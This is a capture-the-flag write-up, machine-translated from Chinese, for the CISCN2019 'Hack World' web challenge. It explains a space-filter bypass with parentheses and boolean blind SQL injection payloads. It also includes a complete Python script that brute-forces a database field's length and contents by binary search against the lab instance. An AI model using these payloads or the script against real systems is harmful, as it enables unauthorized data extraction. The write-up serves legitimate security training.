当前位置:网站首页>[ciscn2019 North China Day2 web1]hack world
[ciscn2019 North China Day2 web1]hack world
2022-06-23 09:19:00 【K00sec】
[CISCN2019 North China Day2 Web1]Hack World
The opening page gives a prompt , Input id view pages , The parameter here is id 了 .
Input 1,2,3 View page echo

Input 2 The echo

Input 3 The echo

Find input 3 Echo error prompt when , It indicates that there may be Boolean or delayed blind annotation . Then test .
( This question is very muddled , At the beginning, the test delay can be , Later, I found that it was useless and began to test Boolean blind injection )
Tests found Space The filtered ,/**/ Can't be used , But you can use () Bypass .


It is no problem to find something that can be bypassed .
# IF(expr,1,2) # If the expression expr The result is True return 1, Otherwise return to 2;
id=if(length((select(database())))>0,1,2)
# The echo Hello, glzjin wants a girlfriend.
id=if(length((select(database())))<0,1,2)
# The echo Do you want to be my girlfriend?
Look at the title carefully , It suggests flag The location of .uuid In the table flag Upper flag Field

# structure payload
## flag The length of
id=if(length((select(flag)from(flag)))>$0$,1,0)
## flag value
id=if((ascii(substr((select(flag)from(flag)),$1$,1)))>=$0$,1,0)
## $x$ For the places that need to be modified
It's constructed payload, First test some payload Can I use , If the test is OK, you can run the script .

I saw some witeup I found that the big guys like dichotomy , Maybe because two points are faster . So I also use traversal and bisection combined blasting flag Length and value .
#!/usr/bin/env python3
# -*- encoding: UTF-8 -*-
import requests
import string
import time
class Sqlinject():
def __init__(self, url, keyword=None, len=127):
self._len = len
self._url = url
self._keyword = keyword
self._length = 0
self._flag = ''
# Blasting length
def getlength(self, name, payload=None):
self._payload = payload
for len in range(self._len):
payload = self._payload % len
req = requests.post(self._url, data={
'id': payload})
if self._keyword in req.text:
self._length = len
print('%s_Length = %d.' % (name, self._length))
break
# Blast flag
def getflag(self, payload=None):
self._payload = payload
for len in range(1, self._length + 1):
min = 33
max = 126
while (max > min):
mid = int((min + max + 1) / 2)
payload = self._payload % (len, mid)
req = requests.post(self._url, data={
'id': payload})
if self._keyword in req.text:
min = mid
else:
max = mid - 1
time.sleep(0.1)
self._flag += chr(max)
print('flag:%s' % self._flag)
if __name__ == '__main__':
urls = 'http://b4d3e7f9-4bfc-471b-b010-1ae76b609520.node4.buuoj.cn:81/index.php'
keywords = 'Hello, glzjin wants a girlfriend.'
strs = string.ascii_letters + string.digits + string.printable
inject = Sqlinject(urls, keywords)
# getlength(name, payload) Two parameters One is to customize the name of the blasting position, which is only used for printing and display , The other is payload Use Wrap in double quotes , except length Other methods only need payload And the location that needs to be changed
inject.getlength("flaglen", "if(length((select(flag)from(flag)))=%d,1,0)")
inject.getflag("if((ascii(substr((select(flag)from(flag)),%d,1)))>=%d,1,0)")
### Blow up a flag Words Only need to use getflag() That's it , Because I am also learning python So practice your hands , It's a whole blind note , The data table of the database exploded and was not posted .
Pay attention to the position

Blow up to flag

边栏推荐
- [learning resources] understand and love mathematics
- Redis学习笔记—单个键管理
- The fourth online workshop review
- 位绑定
- 4sum of leetcode topic analysis
- 进入小公司的初级程序员要如何自我提高?
- 设CPU有16根地址线,8根数据线,并用MREQ作为访存控制线号......存储器与CPU的连接
- How to use "tomato working method" in flowus, notation and other note taking software?
- 力扣之滑动窗口《循序渐进》(209.长度最小的子数组、904. 水果成篮)
- Map接口的注意事项
猜你喜欢

Redis learning notes RDB of persistence mechanism

"Coach, I want to play basketball" -- AI Learning Series booklet for students who are making systems

Set the CPU to have 16 address lines and 8 data lines, and use mreq as the access control line number Connection between memory and CPU

Learn SCI thesis drawing skills (E)

简易学生管理

Custom tags - JSP tag enhancements

Jog运动模式

ThinkPHP 2.x/3.0 漏洞复现

Mysql 数据库入门总结

三层架构与SSM之间的对应关系
随机推荐
MySQL fault case | error 1071 (42000): specified key was too long
UEFI 源码学习4.1 - PciHostBridgeDxe
Use of type dependent names must be prefixed with 'typename'
UEFI 学习3.6 - ARM QEMU上的ACPI表
Embedded system overview (learning notes)
Redis学习笔记—数据库管理
Redis learning notes - geographic information location (GEO)
ionic5表单输入框和单选按钮
[网鼎杯 2020 青龙组]AreUSerialz
Basic process of code scanning login
微信小程序:点击按钮频繁切换,重叠自定义markers,但是值不改变
Redis学习笔记—数据类型:哈希(hash)
The difference between ARM processor and 51 single chip microcomputer programming
C#之Lambda不得不说的用法
Correspondence between three-tier architecture and SSM
嵌入式系统概述(学习笔记)
Implementation of s5p4418 bare metal programming (replace 2ndboot)
使用base64,展示图片
通用分页(1)
"Coach, I want to play basketball" -- AI Learning Series booklet for students who are making systems